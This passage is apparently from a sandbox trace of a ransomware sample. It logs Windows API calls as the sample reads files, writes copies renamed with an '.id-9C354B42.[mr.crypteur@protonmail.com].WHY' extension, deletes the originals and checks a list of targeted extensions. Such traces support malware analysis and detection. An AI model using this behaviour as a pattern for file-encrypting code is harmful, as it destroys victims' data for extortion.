lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0234.307] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0234.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0234.308] GetLastError () returned 0x0 [0234.308] ReadFile (in: hFile=0x380, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0x1c0a, lpOverlapped=0x0) returned 1 [0234.339] WriteFile (in: hFile=0x398, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0x1c10, lpOverlapped=0x0) returned 1 [0234.342] ReadFile (in: hFile=0x380, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0x0, lpOverlapped=0x0) returned 1 [0234.342] WriteFile (in: hFile=0x398, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0xec, lpOverlapped=0x0) returned 1 [0234.342] SetEndOfFile (hFile=0x398) returned 1 [0234.343] CloseHandle (hObject=0x398) returned 1 [0234.344] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0234.344] SetEndOfFile (hFile=0x380) returned 1 [0234.353] CloseHandle (hObject=0x380) returned 1 [0234.354] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0234.354] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid")) returned 1 [0234.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0234.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0234.355] lstrlenW (lpString=".doc") returned 4 [0234.355] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0234.355] lstrlenW (lpString=".docx") returned 5 [0234.355] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0234.355] lstrlenW (lpString=".pdf") returned 4 [0234.356] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0234.356] lstrlenW (lpString=".xls") returned 4 [0234.356] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0234.356] lstrlenW (lpString=".xlsx") returned 5 [0234.356] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0234.356] lstrlenW (lpString=".ppt") returned 4 [0234.356] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0234.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0234.356] lstrlenW (lpString=".zip") returned 4 [0234.356] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0234.356] lstrlenW (lpString=".rar") returned 4 [0234.356] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0234.357] lstrlenW (lpString=".bz2") returned 4 [0234.357] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0234.357] lstrlenW (lpString=".7z") returned 3 [0234.357] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0234.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0234.357] lstrlenW (lpString=".dbf") returned 4 [0234.357] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0234.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0234.357] lstrlenW (lpString=".1cd") returned 4 [0234.357] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0234.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0234.358] lstrlenW (lpString=".jpg") returned 4 [0234.358] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0234.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0234.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0234.358] lstrlenW (lpString=".doc") returned 4 [0234.358] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0234.358] lstrlenW (lpString=".docx") returned 5 [0234.359] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0234.359] lstrlenW (lpString=".pdf") returned 4 [0234.359] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0234.359] lstrlenW (lpString=".xls") returned 4 [0234.359] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0234.359] lstrlenW (lpString=".xlsx") returned 5 [0234.359] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0234.359] lstrlenW (lpString=".ppt") returned 4 [0234.359] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0234.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0234.359] lstrlenW (lpString=".zip") returned 4 [0234.359] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0234.359] lstrlenW (lpString=".rar") returned 4 [0234.360] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0234.360] lstrlenW (lpString=".bz2") returned 4 [0234.360] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0234.360] lstrlenW (lpString=".7z") returned 3 [0234.360] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0234.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0234.360] lstrlenW (lpString=".dbf") returned 4 [0234.360] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0234.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0234.360] lstrlenW (lpString=".1cd") returned 4 [0234.360] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0234.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0234.360] lstrlenW (lpString=".jpg") returned 4 [0234.360] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0234.361] lstrcmpiW (lpString1=".MID", lpString2=".WHY") returned -1 [0234.361] lstrlenW (lpString="JAVA_01.MID") returned 11 [0234.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0234.480] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=9797) returned 1 [0234.480] CloseHandle (hObject=0x320) returned 1 [0234.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid")) returned 0x20 [0234.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0234.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0234.970] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0234.970] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0234.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0238.430] GetLastError () returned 0x0 [0238.430] ReadFile (in: hFile=0x380, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0x2645, lpOverlapped=0x0) returned 1 [0238.448] WriteFile (in: hFile=0x3a0, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0x2650, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0x2650, lpOverlapped=0x0) returned 1 [0238.451] ReadFile (in: hFile=0x380, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0x0, lpOverlapped=0x0) returned 1 [0238.452] WriteFile (in: hFile=0x3a0, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0xea, lpOverlapped=0x0) returned 1 [0238.452] SetEndOfFile (hFile=0x3a0) returned 1 [0238.452] CloseHandle (hObject=0x3a0) returned 1 [0238.453] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0238.454] SetEndOfFile (hFile=0x380) returned 1 [0238.464] CloseHandle (hObject=0x380) returned 1 [0238.464] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0238.465] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid")) returned 1 [0238.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0238.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0238.466] lstrlenW (lpString=".doc") returned 4 [0238.466] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0238.466] lstrlenW (lpString=".docx") returned 5 [0238.466] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0238.466] lstrlenW (lpString=".pdf") returned 4 [0238.467] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0238.467] lstrlenW (lpString=".xls") returned 4 [0238.467] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0238.467] lstrlenW (lpString=".xlsx") returned 5 [0238.467] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0238.467] lstrlenW (lpString=".ppt") returned 4 [0238.467] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0238.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0238.467] lstrlenW (lpString=".zip") returned 4 [0238.467] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0238.467] lstrlenW (lpString=".rar") returned 4 [0238.467] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0238.468] lstrlenW (lpString=".bz2") returned 4 [0238.468] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0238.468] lstrlenW (lpString=".7z") returned 3 [0238.468] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0238.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0238.468] lstrlenW (lpString=".dbf") returned 4 [0238.468] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0238.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0238.468] lstrlenW (lpString=".1cd") returned 4 [0238.468] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0238.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0238.468] lstrlenW (lpString=".jpg") returned 4 [0238.469] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0238.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0238.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0238.469] lstrlenW (lpString=".doc") returned 4 [0238.469] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0238.469] lstrlenW (lpString=".docx") returned 5 [0238.469] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0238.469] lstrlenW (lpString=".pdf") returned 4 [0238.469] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0238.469] lstrlenW (lpString=".xls") returned 4 [0238.469] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0238.470] lstrlenW (lpString=".xlsx") returned 5 [0238.470] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0238.470] lstrlenW (lpString=".ppt") returned 4 [0238.470] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0238.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0238.470] lstrlenW (lpString=".zip") returned 4 [0238.470] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0238.470] lstrlenW (lpString=".rar") returned 4 [0238.470] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0238.470] lstrlenW (lpString=".bz2") returned 4 [0238.470] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0238.470] lstrlenW (lpString=".7z") returned 3 [0238.470] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0238.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0238.471] lstrlenW (lpString=".dbf") returned 4 [0238.471] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0238.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0238.793] lstrlenW (lpString=".1cd") returned 4 [0238.793] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0238.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0238.793] lstrlenW (lpString=".jpg") returned 4 [0238.793] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0238.794] lstrcmpiW (lpString1=".MID", lpString2=".WHY") returned -1 [0238.794] lstrlenW (lpString="PARNT_01.MID") returned 12 [0238.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0240.411] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=6491) returned 1 [0240.411] CloseHandle (hObject=0x37c) returned 1 [0240.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid")) returned 0x20 [0240.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0240.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0240.446] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.446] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0240.448] GetLastError () returned 0x0 [0240.448] ReadFile (in: hFile=0x38c, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0x195b, lpOverlapped=0x0) returned 1 [0240.457] WriteFile (in: hFile=0x3a4, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0x1960, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0x1960, lpOverlapped=0x0) returned 1 [0240.460] ReadFile (in: hFile=0x38c, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0x0, lpOverlapped=0x0) returned 1 [0240.460] WriteFile (in: hFile=0x3a4, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0xec, lpOverlapped=0x0) returned 1 [0240.460] SetEndOfFile (hFile=0x3a4) returned 1 [0240.508] CloseHandle (hObject=0x3a4) returned 1 [0240.514] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.514] SetEndOfFile (hFile=0x38c) returned 1 [0241.185] CloseHandle (hObject=0x38c) returned 1 [0241.185] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0241.524] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid")) returned 1 [0242.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0242.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0242.114] lstrlenW (lpString=".doc") returned 4 [0242.114] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.114] lstrlenW (lpString=".docx") returned 5 [0242.114] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.114] lstrlenW (lpString=".pdf") returned 4 [0242.114] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.114] lstrlenW (lpString=".xls") returned 4 [0242.114] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.114] lstrlenW (lpString=".xlsx") returned 5 [0242.114] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.114] lstrlenW (lpString=".ppt") returned 4 [0242.115] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0242.115] lstrlenW (lpString=".zip") returned 4 [0242.115] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.115] lstrlenW (lpString=".rar") returned 4 [0242.115] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.115] lstrlenW (lpString=".bz2") returned 4 [0242.115] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.115] lstrlenW (lpString=".7z") returned 3 [0242.115] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0242.115] lstrlenW (lpString=".dbf") returned 4 [0242.115] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0242.116] lstrlenW (lpString=".1cd") returned 4 [0242.116] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0242.116] lstrlenW (lpString=".jpg") returned 4 [0242.116] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0242.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0242.116] lstrlenW (lpString=".doc") returned 4 [0242.116] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.116] lstrlenW (lpString=".docx") returned 5 [0242.116] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.116] lstrlenW (lpString=".pdf") returned 4 [0242.116] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.116] lstrlenW (lpString=".xls") returned 4 [0242.116] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.117] lstrlenW (lpString=".xlsx") returned 5 [0242.117] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.117] lstrlenW (lpString=".ppt") returned 4 [0242.117] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0242.117] lstrlenW (lpString=".zip") returned 4 [0242.117] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.117] lstrlenW (lpString=".rar") returned 4 [0242.117] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.117] lstrlenW (lpString=".bz2") returned 4 [0242.117] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.117] lstrlenW (lpString=".7z") returned 3 [0242.117] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0242.117] lstrlenW (lpString=".dbf") returned 4 [0242.117] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0242.118] lstrlenW (lpString=".1cd") returned 4 [0242.118] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0242.118] lstrlenW (lpString=".jpg") returned 4 [0242.118] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.119] lstrcmpiW (lpString1=".MID", lpString2=".WHY") returned -1 [0242.119] lstrlenW (lpString="PARNT_06.MID") returned 12 [0242.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0242.203] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=7768) returned 1 [0242.203] CloseHandle (hObject=0x3b0) returned 1 [0242.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid")) returned 0x20 [0242.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0242.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0242.309] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.309] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0242.310] GetLastError () returned 0x0 [0242.310] ReadFile (in: hFile=0x354, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0x1e58, 